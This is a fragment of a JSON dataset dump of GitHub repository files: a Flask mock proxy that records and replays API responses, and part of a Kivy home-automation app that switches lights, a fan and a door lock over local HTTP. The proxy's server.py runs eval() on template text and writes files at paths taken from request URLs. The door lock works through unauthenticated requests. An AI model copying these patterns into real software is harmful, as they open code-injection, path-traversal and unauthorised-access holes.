}\n]","isConversational":false},"num_files":{"kind":"number","value":6,"string":"6"}}},{"rowIdx":2978326,"cells":{"repo_name":{"kind":"string","value":"subeeshb/mockproxy"},"repo_url":{"kind":"string","value":"https://github.com/subeeshb/mockproxy"},"snapshot_id":{"kind":"string","value":"6f10e3277c79d39c435a24b48bd70281907821d5"},"revision_id":{"kind":"string","value":"a822c2984618a331bf0adacbdc0e6576fbb10305"},"directory_id":{"kind":"string","value":"4d23877d044996939ec0e18400b0b89fd6f00ed0"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-04-12T17:57:36.312711","string":"2020-04-12T17:57:36.312711"},"revision_date":{"kind":"timestamp","value":"2013-11-29T02:06:17","string":"2013-11-29T02:06:17"},"committer_date":{"kind":"timestamp","value":"2013-11-29T02:06:17","string":"2013-11-29T02:06:17"},"github_id":{"kind":"number","value":14771599,"string":"14,771,599"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7175469994544983,"alphanum_fraction":0.7264995574951172,"avg_line_length":28.786666870117188,"blob_id":"3f1b178b1c708d322c251a7fee550ccad9fc9372","content_id":"e20d57a1a376bfa8a9d0027faee11bd31f4d1d93","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":2234,"license_type":"no_license","max_line_length":341,"num_lines":75,"path":"/README.md","repo_name":"subeeshb/mockproxy","src_encoding":"UTF-8","text":"mockproxy\n=========\n\nThis is a Flask-based web application that acts as a proxy server to an API, letting you capture and repeat HTTP responses. Recorded responses can be useful when testing applications that rely on web service data.\n\nPre-requisites\n--------------\n\nTo use this script, you must first install the Flask web application framework. You can do this using pip using the command below, or refer to detailed instructions here: http://flask.pocoo.org/\n\n```\n$ pip install Flask\n```\n\n\nUsage\n-----\n\nUpdate the values in config.py. Specify the port the application should listen on, the base url (if any), and the details of the upstream API that you want to proxy to.\n\n```python\n#which port should the server run on?\nPORT = 5000\n\n#what's the base url path? e.g. do all web service requests start with 'api/'?\nBASE_URL_PATH = 'api/'\n\n#what's the actual web service endpoint? requests will be proxied here if there's\n#no recorded data available.\nUPSTREAM_ENDPOINT = {\n\t'host' : '127.0.0.1',\n\t'port' : '8080'\n}\n```\n\nThen, just start the application by running server.py. You can specify an output folder for saving web responses as a parameter, otherwise the default output folder will be 'templates'.\n\n```\n$ python server.py [output folder]\n```\n\n\nRecording and playback\n----------------------\n\nEach web service response is saved in its own file, with the folder structure in the output folder matching the url path. When a request is received, the application proxies the request to the upstream API if no response was previously recorded. If a recorded response is present, the contents of the response are processed and played back. \n\nThe application current supports request data in JSON format. You can edit recorded responses to insert dynamic values by enclosing python code within {{ ... }} blocks. Request data is converted into a dictionary and can be referenced using the 'request' variable.\n\nFor example, with the following request data,\n\n```\n{\n\t\"userid\":\"user001\",\n\t\"password\":\"mypassword\"\n}\n```\n\n, a request to a URL with the following recorded response\n\n```\n{\n\t\"loginstatus\":\"success\",\n\t\"userid\":\"{{ request['userid'] }}\"\n}\n```\n\nwill return the following \n\n```\n{\n\t\"loginstatus\":\"success\",\n\t\"userid\":\"user001\"\n}\n```\n"},{"alpha_fraction":0.6327784657478333,"alphanum_fraction":0.6345620155334473,"avg_line_length":33.8068962097168,"blob_id":"4315802b13b5e0f0a81a241803a458091d54af91","content_id":"a855756a84467d3d32babd79c68a0d0c804a94cd","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":5046,"license_type":"no_license","max_line_length":112,"num_lines":145,"path":"/server.py","repo_name":"subeeshb/mockproxy","src_encoding":"UTF-8","text":"from flask import Flask, Response, request\nfrom werkzeug.datastructures import Headers\nimport json\nimport sys\nimport os\nimport httplib\nimport StringIO\nimport gzip\nimport config\n\napp = Flask(__name__)\n\nDEFAULT_TEMPLATE_FOLDER = './templates/'\nHEADERS_FILE_SUFFIX = '.headers'\nREQUIRED_HEADERS = [\"set-cookie\"]\n\ndef get_response_template(path):\n filename = os.path.join(template_folder, path)\n resp_template = '{}';\n with file(filename) as f:\n resp_template = f.read()\n return resp_template\n\ndef get_response_headers(path):\n filename = os.path.join(template_folder, path + HEADERS_FILE_SUFFIX)\n headers = []\n if os.path.isfile(filename):\n with file(filename, 'r') as f:\n for line in f:\n headers.append(tuple(line.replace('\\n','').split('::')))\n return headers\n\ndef extract_tokens(template):\n tokens = {}\n while template.find('{{') > -1:\n tokenStart = template.find('{{')\n tokenEnd = template.find('}}')\n if tokenEnd == -1:\n raise Exception('Error parsing tokens: token not closed?')\n tokenName = template[tokenStart+2:tokenEnd]\n tokens[tokenName] = ''\n template = template.replace('{{' + tokenName + '}}', '')\n return tokens\n\ndef evaluate_tokens(tokens, request):\n for token in tokens.keys():\n value = eval(token.strip())\n tokens[token] = value\n return tokens\n\ndef apply_token_values(tokens, response_template):\n for token in tokens.keys():\n response_template = response_template.replace('{{'+token+'}}', tokens[token])\n return response_template\n\ndef process_response_template(request, response_template):\n tokens = extract_tokens(response_template)\n tokens = evaluate_tokens(tokens, request)\n template = apply_token_values(tokens, response_template)\n return template\n\ndef is_gzipped(response):\n return response[:2].encode('hex') == '1f8b'\n\ndef get_live_response(request, path):\n host = config.UPSTREAM_ENDPOINT['host']\n port = config.UPSTREAM_ENDPOINT['port']\n print 'Getting live response from %s:%s/%s' % (host, port, path)\n conn = httplib.HTTPConnection(host, port)\n request_headers = {}\n for key, value in request.headers:\n if key in [\"accept-encoding\"]:\n continue\n request_headers[key] = value\n conn.request(request.method, '/' + path, body=request.data, headers=request_headers)\n resp = conn.getresponse()\n print 'Response received.'\n contents = resp.read()\n print resp.getheader('content-type')\n if is_gzipped(contents):\n print 'Decoding gzip...'\n gzip_data = gzip.GzipFile(fileobj = StringIO.StringIO(contents))\n contents = gzip_data.read()\n return (contents, resp.getheaders())\n\ndef ensure_dir(f):\n d = os.path.dirname(f)\n if not os.path.exists(d):\n os.makedirs(d)\n\ndef save_live_response(path, response_data, headers):\n response_filename = os.path.join(template_folder, path)\n ensure_dir(response_filename)\n with open(response_filename, 'w') as output_file:\n output_file.write(response_data)\n\n headers_filename = os.path.join(template_folder, path + HEADERS_FILE_SUFFIX)\n with open(headers_filename, 'w') as output_file:\n for key, value in headers:\n header_string = '%s::%s\\n' % (key, value)\n output_file.write(header_string)\n\n\n@app.route('/', defaults={'path': ''}, methods=['GET', 'POST'])\n@app.route('/<path:path>', methods=['GET', 'POST'])\ndef handle_path(path):\n try:\n if not config.BASE_URL_PATH == '':\n path = path.replace(config.BASE_URL_PATH, '')\n\n response_template = get_response_template(path)\n if len(request.data) > 0:\n request_data = json.loads(request.data)\n response = process_response_template(request_data, response_template)\n else:\n response = response_template\n print 'Serving recorded response.'\n resp = Response(response, mimetype='application/json')\n headers = get_response_headers(path)\n for key, value in headers:\n if key in REQUIRED_HEADERS:\n resp.headers.add(key, value)\n return resp\n except IOError:\n try:\n live_response, headers = get_live_response(request, config.BASE_URL_PATH + path)\n save_live_response(path, live_response, headers)\n resp = Response(live_response, mimetype='application/json')\n for key, value in headers:\n if key in REQUIRED_HEADERS:\n resp.headers.add(key, value)\n print 'Serving live response.'\n return resp\n except Exception, ex:\n return repr(ex)\n except Exception, e:\n return repr(e)\n\n\ntemplate_folder = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_TEMPLATE_FOLDER\nprint ' * Serving data from %s' % template_folder\nprint ' * Proxying new requests to %s:%s' % (config.UPSTREAM_ENDPOINT['host'], config.UPSTREAM_ENDPOINT['port'])\n\nif __name__ == \"__main__\":\n app.run(port=config.PORT)"},{"alpha_fraction":0.6554877758026123,"alphanum_fraction":0.6981707215309143,"avg_line_length":26.41666603088379,"blob_id":"0fc34ebdc51b4c0163fb85387767f0106daef392","content_id":"1facd1e72d9d7547ed6696412ee4dc307de403a9","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":328,"license_type":"no_license","max_line_length":81,"num_lines":12,"path":"/config.py","repo_name":"subeeshb/mockproxy","src_encoding":"UTF-8","text":"#which port should the server run on?\nPORT = 5000\n\n#what's the base url path? e.g. do all web service requests start with 'api/'?\nBASE_URL_PATH = 'api/'\n\n#what's the actual web service endpoint? requests will be proxied here if there's\n#no recorded data available.\nUPSTREAM_ENDPOINT = {\n\t'host' : '127.0.0.1',\n\t'port' : '8080'\n}"}],"string":"[\n {\n \"alpha_fraction\": 0.7175469994544983,\n \"alphanum_fraction\": 0.7264995574951172,\n \"avg_line_length\": 28.786666870117188,\n \"blob_id\": \"3f1b178b1c708d322c251a7fee550ccad9fc9372\",\n \"content_id\": \"e20d57a1a376bfa8a9d0027faee11bd31f4d1d93\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 2234,\n \"license_type\": \"no_license\",\n \"max_line_length\": 341,\n \"num_lines\": 75,\n \"path\": \"/README.md\",\n \"repo_name\": \"subeeshb/mockproxy\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"mockproxy\\n=========\\n\\nThis is a Flask-based web application that acts as a proxy server to an API, letting you capture and repeat HTTP responses. Recorded responses can be useful when testing applications that rely on web service data.\\n\\nPre-requisites\\n--------------\\n\\nTo use this script, you must first install the Flask web application framework. You can do this using pip using the command below, or refer to detailed instructions here: http://flask.pocoo.org/\\n\\n```\\n$ pip install Flask\\n```\\n\\n\\nUsage\\n-----\\n\\nUpdate the values in config.py. Specify the port the application should listen on, the base url (if any), and the details of the upstream API that you want to proxy to.\\n\\n```python\\n#which port should the server run on?\\nPORT = 5000\\n\\n#what's the base url path? e.g. do all web service requests start with 'api/'?\\nBASE_URL_PATH = 'api/'\\n\\n#what's the actual web service endpoint? requests will be proxied here if there's\\n#no recorded data available.\\nUPSTREAM_ENDPOINT = {\\n\\t'host' : '127.0.0.1',\\n\\t'port' : '8080'\\n}\\n```\\n\\nThen, just start the application by running server.py. You can specify an output folder for saving web responses as a parameter, otherwise the default output folder will be 'templates'.\\n\\n```\\n$ python server.py [output folder]\\n```\\n\\n\\nRecording and playback\\n----------------------\\n\\nEach web service response is saved in its own file, with the folder structure in the output folder matching the url path. When a request is received, the application proxies the request to the upstream API if no response was previously recorded. If a recorded response is present, the contents of the response are processed and played back. \\n\\nThe application current supports request data in JSON format. You can edit recorded responses to insert dynamic values by enclosing python code within {{ ... }} blocks. Request data is converted into a dictionary and can be referenced using the 'request' variable.\\n\\nFor example, with the following request data,\\n\\n```\\n{\\n\\t\\\"userid\\\":\\\"user001\\\",\\n\\t\\\"password\\\":\\\"mypassword\\\"\\n}\\n```\\n\\n, a request to a URL with the following recorded response\\n\\n```\\n{\\n\\t\\\"loginstatus\\\":\\\"success\\\",\\n\\t\\\"userid\\\":\\\"{{ request['userid'] }}\\\"\\n}\\n```\\n\\nwill return the following \\n\\n```\\n{\\n\\t\\\"loginstatus\\\":\\\"success\\\",\\n\\t\\\"userid\\\":\\\"user001\\\"\\n}\\n```\\n\"\n },\n {\n \"alpha_fraction\": 0.6327784657478333,\n \"alphanum_fraction\": 0.6345620155334473,\n \"avg_line_length\": 33.8068962097168,\n \"blob_id\": \"4315802b13b5e0f0a81a241803a458091d54af91\",\n \"content_id\": \"a855756a84467d3d32babd79c68a0d0c804a94cd\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 5046,\n \"license_type\": \"no_license\",\n \"max_line_length\": 112,\n \"num_lines\": 145,\n \"path\": \"/server.py\",\n \"repo_name\": \"subeeshb/mockproxy\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from flask import Flask, Response, request\\nfrom werkzeug.datastructures import Headers\\nimport json\\nimport sys\\nimport os\\nimport httplib\\nimport StringIO\\nimport gzip\\nimport config\\n\\napp = Flask(__name__)\\n\\nDEFAULT_TEMPLATE_FOLDER = './templates/'\\nHEADERS_FILE_SUFFIX = '.headers'\\nREQUIRED_HEADERS = [\\\"set-cookie\\\"]\\n\\ndef get_response_template(path):\\n filename = os.path.join(template_folder, path)\\n resp_template = '{}';\\n with file(filename) as f:\\n resp_template = f.read()\\n return resp_template\\n\\ndef get_response_headers(path):\\n filename = os.path.join(template_folder, path + HEADERS_FILE_SUFFIX)\\n headers = []\\n if os.path.isfile(filename):\\n with file(filename, 'r') as f:\\n for line in f:\\n headers.append(tuple(line.replace('\\\\n','').split('::')))\\n return headers\\n\\ndef extract_tokens(template):\\n tokens = {}\\n while template.find('{{') > -1:\\n tokenStart = template.find('{{')\\n tokenEnd = template.find('}}')\\n if tokenEnd == -1:\\n raise Exception('Error parsing tokens: token not closed?')\\n tokenName = template[tokenStart+2:tokenEnd]\\n tokens[tokenName] = ''\\n template = template.replace('{{' + tokenName + '}}', '')\\n return tokens\\n\\ndef evaluate_tokens(tokens, request):\\n for token in tokens.keys():\\n value = eval(token.strip())\\n tokens[token] = value\\n return tokens\\n\\ndef apply_token_values(tokens, response_template):\\n for token in tokens.keys():\\n response_template = response_template.replace('{{'+token+'}}', tokens[token])\\n return response_template\\n\\ndef process_response_template(request, response_template):\\n tokens = extract_tokens(response_template)\\n tokens = evaluate_tokens(tokens, request)\\n template = apply_token_values(tokens, response_template)\\n return template\\n\\ndef is_gzipped(response):\\n return response[:2].encode('hex') == '1f8b'\\n\\ndef get_live_response(request, path):\\n host = config.UPSTREAM_ENDPOINT['host']\\n port = config.UPSTREAM_ENDPOINT['port']\\n print 'Getting live response from %s:%s/%s' % (host, port, path)\\n conn = httplib.HTTPConnection(host, port)\\n request_headers = {}\\n for key, value in request.headers:\\n if key in [\\\"accept-encoding\\\"]:\\n continue\\n request_headers[key] = value\\n conn.request(request.method, '/' + path, body=request.data, headers=request_headers)\\n resp = conn.getresponse()\\n print 'Response received.'\\n contents = resp.read()\\n print resp.getheader('content-type')\\n if is_gzipped(contents):\\n print 'Decoding gzip...'\\n gzip_data = gzip.GzipFile(fileobj = StringIO.StringIO(contents))\\n contents = gzip_data.read()\\n return (contents, resp.getheaders())\\n\\ndef ensure_dir(f):\\n d = os.path.dirname(f)\\n if not os.path.exists(d):\\n os.makedirs(d)\\n\\ndef save_live_response(path, response_data, headers):\\n response_filename = os.path.join(template_folder, path)\\n ensure_dir(response_filename)\\n with open(response_filename, 'w') as output_file:\\n output_file.write(response_data)\\n\\n headers_filename = os.path.join(template_folder, path + HEADERS_FILE_SUFFIX)\\n with open(headers_filename, 'w') as output_file:\\n for key, value in headers:\\n header_string = '%s::%s\\\\n' % (key, value)\\n output_file.write(header_string)\\n\\n\\n@app.route('/', defaults={'path': ''}, methods=['GET', 'POST'])\\n@app.route('/<path:path>', methods=['GET', 'POST'])\\ndef handle_path(path):\\n try:\\n if not config.BASE_URL_PATH == '':\\n path = path.replace(config.BASE_URL_PATH, '')\\n\\n response_template = get_response_template(path)\\n if len(request.data) > 0:\\n request_data = json.loads(request.data)\\n response = process_response_template(request_data, response_template)\\n else:\\n response = response_template\\n print 'Serving recorded response.'\\n resp = Response(response, mimetype='application/json')\\n headers = get_response_headers(path)\\n for key, value in headers:\\n if key in REQUIRED_HEADERS:\\n resp.headers.add(key, value)\\n return resp\\n except IOError:\\n try:\\n live_response, headers = get_live_response(request, config.BASE_URL_PATH + path)\\n save_live_response(path, live_response, headers)\\n resp = Response(live_response, mimetype='application/json')\\n for key, value in headers:\\n if key in REQUIRED_HEADERS:\\n resp.headers.add(key, value)\\n print 'Serving live response.'\\n return resp\\n except Exception, ex:\\n return repr(ex)\\n except Exception, e:\\n return repr(e)\\n\\n\\ntemplate_folder = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_TEMPLATE_FOLDER\\nprint ' * Serving data from %s' % template_folder\\nprint ' * Proxying new requests to %s:%s' % (config.UPSTREAM_ENDPOINT['host'], config.UPSTREAM_ENDPOINT['port'])\\n\\nif __name__ == \\\"__main__\\\":\\n app.run(port=config.PORT)\"\n },\n {\n \"alpha_fraction\": 0.6554877758026123,\n \"alphanum_fraction\": 0.6981707215309143,\n \"avg_line_length\": 26.41666603088379,\n \"blob_id\": \"0fc34ebdc51b4c0163fb85387767f0106daef392\",\n \"content_id\": \"1facd1e72d9d7547ed6696412ee4dc307de403a9\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 328,\n \"license_type\": \"no_license\",\n \"max_line_length\": 81,\n \"num_lines\": 12,\n \"path\": \"/config.py\",\n \"repo_name\": \"subeeshb/mockproxy\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#which port should the server run on?\\nPORT = 5000\\n\\n#what's the base url path? e.g. do all web service requests start with 'api/'?\\nBASE_URL_PATH = 'api/'\\n\\n#what's the actual web service endpoint? requests will be proxied here if there's\\n#no recorded data available.\\nUPSTREAM_ENDPOINT = {\\n\\t'host' : '127.0.0.1',\\n\\t'port' : '8080'\\n}\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":3,"string":"3"}}},{"rowIdx":2978327,"cells":{"repo_name":{"kind":"string","value":"mayankpoddar/TestHomeAutomation"},"repo_url":{"kind":"string","value":"https://github.com/mayankpoddar/TestHomeAutomation"},"snapshot_id":{"kind":"string","value":"66d78c09e93ea7d227933f023e879544c4dbddcc"},"revision_id":{"kind":"string","value":"9cd3504d0e78e6342f4406a2399992bcdec6a674"},"directory_id":{"kind":"string","value":"19d1bf08f0d33545fb3cd15c6f64a9d30fd785b6"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-05-21T02:16:36.840329","string":"2020-05-21T02:16:36.840329"},"revision_date":{"kind":"timestamp","value":"2019-05-09T22:07:29","string":"2019-05-09T22:07:29"},"committer_date":{"kind":"timestamp","value":"2019-05-09T22:07:29","string":"2019-05-09T22:07:29"},"github_id":{"kind":"number","value":185873365,"string":"185,873,365"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6154360771179199,"alphanum_fraction":0.6404193639755249,"avg_line_length":34.86399841308594,"blob_id":"61925c6e7838e9acda9f748197761f7971f3c270","content_id":"6bfdffe97fcc4ff5d48c9bbb237cfa300ca738b2","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":4483,"license_type":"no_license","max_line_length":267,"num_lines":125,"path":"/main.py","repo_name":"mayankpoddar/TestHomeAutomation","src_encoding":"UTF-8","text":"from kivy.app import App\nfrom kivy.uix.label import Label\nfrom kivy.uix.gridlayout import GridLayout\nfrom kivy.uix.button import Button\nfrom kivy.core.window import Window\nfrom kivy.uix.screenmanager import ScreenManager, Screen\nfrom kivy.network.urlrequest import UrlRequest\nfrom kivy.uix.popup import Popup\n\nclass IntroPage(GridLayout):\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self.cols = 1\n\n self.label = Label(text=\"Hey there! \\n This Phone belongs to Mayank of House Poddar, \\n First of His Name, \\n King of the Andals and the First Men, \\n Lord of the Seven Kingdoms, \\n and Protector of the Realm.\", halign=\"center\", valign=\"middle\", font_size=30)\n self.label.size_hint_y = None\n self.label.height = Window.size[1]*0.9\n self.add_widget(self.label)\n\n self.button = Button(text=\"Proceed\")\n self.button.bind(on_press=self.clicked)\n self.add_widget(self.button)\n\n def clicked(self, instance):\n myapp.screenmanager.current = \"Tabs\" \n\nclass TabsPage(GridLayout):\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self.cols = 1\n\n self.add_widget(Label(text=\"\", size_hint_y=None, height=Window.size[1]*0.1))\n\n self.lightButtonON = Button(text=\"Switch Light ON\")\n self.lightButtonON.size_hint_y = None\n self.lightButtonON.height = Window.size[1]*0.1\n self.lightButtonON.bind(on_press=self.toggleLight)\n\n self.add_widget(self.lightButtonON)\n\n self.add_widget(Label(text=\"\", size_hint_y=None, height=Window.size[1]*0.05))\n\n self.lightButtonOFF = Button(text=\"Switch Light OFF\")\n self.lightButtonOFF.size_hint_y = None\n self.lightButtonOFF.height = Window.size[1]*0.1\n self.lightButtonOFF.bind(on_press=self.toggleLight)\n\n self.add_widget(self.lightButtonOFF)\n\n self.add_widget(Label(text=\"\", size_hint_y=None, height=Window.size[1]*0.05))\n\n self.fanButtonON = Button(text=\"Switch Fan ON\")\n self.fanButtonON.size_hint_y = None\n self.fanButtonON.height = Window.size[1]*0.1\n self.fanButtonON.bind(on_press=self.toggleFan)\n\n self.add_widget(self.fanButtonON)\n\n self.add_widget(Label(text=\"\", size_hint_y=None, height=Window.size[1]*0.05))\n\n self.fanButtonOFF = Button(text=\"Switch Fan OFF\")\n self.fanButtonOFF.size_hint_y = None\n self.fanButtonOFF.height = Window.size[1]*0.1\n self.fanButtonOFF.bind(on_press=self.toggleFan)\n\n self.add_widget(self.fanButtonOFF)\n\n self.add_widget(Label(text=\"\", size_hint_y=None, height=Window.size[1]*0.05))\n\n self.unlockButton = Button(text=\"Unlock Door\")\n self.unlockButton.size_hint_y = None\n self.unlockButton.height = Window.size[1]*0.1\n self.unlockButton.bind(on_press=self.toggleLock)\n\n self.add_widget(self.unlockButton)\n\n self.add_widget(Label(text=\"\", size_hint_y=None, height=Window.size[1]*0.05))\n\n self.lockButton = Button(text=\"Lock Door\")\n self.lockButton.size_hint_y = None\n self.lockButton.height = Window.size[1]*0.1\n self.lockButton.bind(on_press=self.toggleLock)\n\n self.add_widget(self.lockButton)\n\n self.add_widget(Label(text=\"\", size_hint_y=None, height=Window.size[1]*0.05))\n\n def toggleLight(self, instance):\n if instance.text == \"Switch Light ON\":\n req = UrlRequest(\"http://192.168.0.123/LED=ON\")\n else:\n req = UrlRequest(\"http://192.168.0.123/LED=OFF\")\n\n def toggleFan(self, instance):\n if instance.text == \"Switch Fan ON\":\n req = UrlRequest(\"http://192.168.0.124/FAN=ON\")\n else:\n req = UrlRequest(\"http://192.168.0.124/FAN=OFF\")\n\n def toggleLock(self, instance):\n if instance.text == \"Unlock Door\":\n req = UrlRequest(\"http://192.168.0.123/DOORLOCK=OFF\")\n else:\n req = UrlRequest(\"http://192.168.0.123/DOORLOCK=ON\")\n\nclass MyApp(App):\n\n def build(self):\n self.screenmanager = ScreenManager()\n\n self.intropage = IntroPage()\n screen = Screen(name=\"Intro\")\n screen.add_widget(self.intropage)\n self.screenmanager.add_widget(screen)\n\n self.tabspage = TabsPage()\n screen = Screen(name=\"Tabs\")\n screen.add_widget(self.tabspage)\n self.screenmanager.add_widget(screen)\n\n return self.screenmanager\n\nif __name__ == \"__main__\":\n myapp = MyApp()\n myapp.run()\n"},{"alpha_fraction":0.6793892979621887,"alphanum_fraction":0.7412213683128357,"avg_line_length":45.78571319580078,"blob_id":"55af060866faf61396544ff891ec34d5853596c9","content_id":"6149bb092b5e433ad0397c093421b07813575471","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":1310,"license_type":"no_license","max_line_length":139,"num_lines":28,"path":"/README.md","repo_name":"mayankpoddar/TestHomeAutomation","src_encoding":"UTF-8","text":"# TestHomeAutomation\nHomeAutomation using a Wemos D1 Mini, Servo Motor (180 degree), LED. iOS App using Kivy - Python.\n\nHardware Requirements:\n1. Wemos D1 Mini ESP8266 - https://www.amazon.in/gp/product/B077MDHLRC/\n2. Servo Motor (180 Degrees) - https://www.amazon.in/gp/product/B00MTFFAE0/\n\nWemos D1 Mini Pinout:\n\n\nTools Needed:\n1. Arduino IDE \n2. Python >= 3.6\n3. XCode\n\nSetup Instructions:\n\n* IDE Setup\n 1. Download and Install the Arduino IDE from https://www.arduino.cc/en/main/software\n 2. Open Arduino > Preferences > Additional Board Manager URLs: http://arduino.esp8266.com/stable/package_esp8266com_index.json. Click OK.\n 3. Open Tools > Board > Boards Manager. Type esp in the search bar, and Install \"esp8266 by ESP8266 Community\". Click OK.\n 4. Open Tools > Board. Select Wemos D1 R1.\n 5. Paste the WemosD1.ino code inside the file. Change the ssid, password and gateway according to your router and save it.\n 6. Connect the ESP8266 module via USB. Select your USB Port from Tools > Port.\n 7. Connect a LED to GPIO Pin D5 and G. \n 7. Upload the Sketch using Sketch > Upload.\n 8. Open Browser and go to the static ip for the module: http://192.168.0.123/\n 9. Use the Links to switch On/Off the LED.\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6154360771179199,\n \"alphanum_fraction\": 0.6404193639755249,\n \"avg_line_length\": 34.86399841308594,\n \"blob_id\": \"61925c6e7838e9acda9f748197761f7971f3c270\",\n \"content_id\": \"6bfdffe97fcc4ff5d48c9bbb237cfa300ca738b2\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4483,\n \"license_type\": \"no_license\",\n \"max_line_length\": 267,\n \"num_lines\": 125,\n \"path\": \"/main.py\",\n \"repo_name\": \"mayankpoddar/TestHomeAutomation\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from kivy.app import App\\nfrom kivy.uix.label import Label\\nfrom kivy.uix.gridlayout import GridLayout\\nfrom kivy.uix.button import Button\\nfrom kivy.core.window import Window\\nfrom kivy.uix.screenmanager import ScreenManager, Screen\\nfrom kivy.network.urlrequest import UrlRequest\\nfrom kivy.uix.popup import Popup\\n\\nclass IntroPage(GridLayout):\\n def __init__(self, **kwargs):\\n super().__init__(**kwargs)\\n self.cols = 1\\n\\n self.label = Label(text=\\\"Hey there! \\\\n This Phone belongs to Mayank of House Poddar, \\\\n First of His Name, \\\\n King of the Andals and the First Men, \\\\n Lord of the Seven Kingdoms, \\\\n and Protector of the Realm.\\\", halign=\\\"center\\\", valign=\\\"middle\\\", font_size=30)\\n self.label.size_hint_y = None\\n self.label.height = Window.size[1]*0.9\\n self.add_widget(self.label)\\n\\n self.button = Button(text=\\\"Proceed\\\")\\n self.button.bind(on_press=self.clicked)\\n self.add_widget(self.button)\\n\\n def clicked(self, instance):\\n myapp.screenmanager.current = \\\"Tabs\\\" \\n\\nclass TabsPage(GridLayout):\\n def __init__(self, **kwargs):\\n super().__init__(**kwargs)\\n self.cols = 1\\n\\n self.add_widget(Label(text=\\\"\\\", size_hint_y=None, height=Window.size[1]*0.1))\\n\\n self.lightButtonON = Button(text=\\\"Switch Light ON\\\")\\n self.lightButtonON.size_hint_y = None\\n self.lightButtonON.height = Window.size[1]*0.1\\n self.lightButtonON.bind(on_press=self.toggleLight)\\n\\n self.add_widget(self.lightButtonON)\\n\\n self.add_widget(Label(text=\\\"\\\", size_hint_y=None, height=Window.size[1]*0.05))\\n\\n self.lightButtonOFF = Button(text=\\\"Switch Light OFF\\\")\\n self.lightButtonOFF.size_hint_y = None\\n self.lightButtonOFF.height = Window.size[1]*0.1\\n self.lightButtonOFF.bind(on_press=self.toggleLight)\\n\\n self.add_widget(self.lightButtonOFF)\\n\\n self.add_widget(Label(text=\\\"\\\", size_hint_y=None, height=Window.size[1]*0.05))\\n\\n self.fanButtonON = Button(text=\\\"Switch Fan ON\\\")\\n self.fanButtonON.size_hint_y = None\\n self.fanButtonON.height = Window.size[1]*0.1\\n self.fanButtonON.bind(on_press=self.toggleFan)\\n\\n self.add_widget(self.fanButtonON)\\n\\n self.add_widget(Label(text=\\\"\\\", size_hint_y=None, height=Window.size[1]*0.05))\\n\\n self.fanButtonOFF = Button(text=\\\"Switch Fan OFF\\\")\\n self.fanButtonOFF.size_hint_y = None\\n self.fanButtonOFF.height = Window.size[1]*0.1\\n self.fanButtonOFF.bind(on_press=self.toggleFan)\\n\\n self.add_widget(self.fanButtonOFF)\\n\\n self.add_widget(Label(text=\\\"\\\", size_hint_y=None, height=Window.size[1]*0.05))\\n\\n self.unlockButton = Button(text=\\\"Unlock Door\\\")\\n self.unlockButton.size_hint_y = None\\n self.unlockButton.height = Window.size[1]*0.1\\n self.unlockButton.bind(on_press=self.toggleLock)\\n\\n self.add_widget(self.unlockButton)\\n\\n self.add_widget(Label(text=\\\"\\\", size_hint_y=None, height=Window.size[1]*0.05))\\n\\n self.lockButton = Button(text=\\\"Lock Door\\\")\\n self.lockButton.size_hint_y = None\\n self.lockButton.height = Window.size[1]*0.1\\n self.lockButton.bind(on_press=self.toggleLock)\\n\\n self.add_widget(self.lockButton)\\n\\n self.add_widget(Label(text=\\\"\\\", size_hint_y=None, height=Window.size[1]*0.05))\\n\\n def toggleLight(self, instance):\\n if instance.text == \\\"Switch Light ON\\\":\\n req = UrlRequest(\\\"http://192.168.0.123/LED=ON\\\")\\n else:\\n req = UrlRequest(\\\"http://192.168.0.123/LED=OFF\\\")\\n\\n def toggleFan(self, instance):\\n if instance.text == \\\"Switch Fan ON\\\":\\n req = UrlRequest(\\\"http://192.168.0.124/FAN=ON\\\")\\n else:\\n req = UrlRequest(\\\"http://192.168.0.124/FAN=OFF\\\")\\n\\n def toggleLock(self, instance):\\n if instance.text == \\\"Unlock Door\\\":\\n req = UrlRequest(\\\"http://192.168.0.123/DOORLOCK=OFF\\\")\\n else:\\n req = UrlRequest(\\\"http://192.168.0.123/DOORLOCK=ON\\\")\\n\\nclass MyApp(App):\\n\\n def build(self):\\n self.screenmanager = ScreenManager()\\n\\n self.intropage = IntroPage()\\n screen = Screen(name=\\\"Intro\\\")\\n screen.add_widget(self.intropage)\\n self.screenmanager.add_widget(screen)\\n\\n self.tabspage = TabsPage()\\n screen = Screen(name=\\\"Tabs\\\")\\n 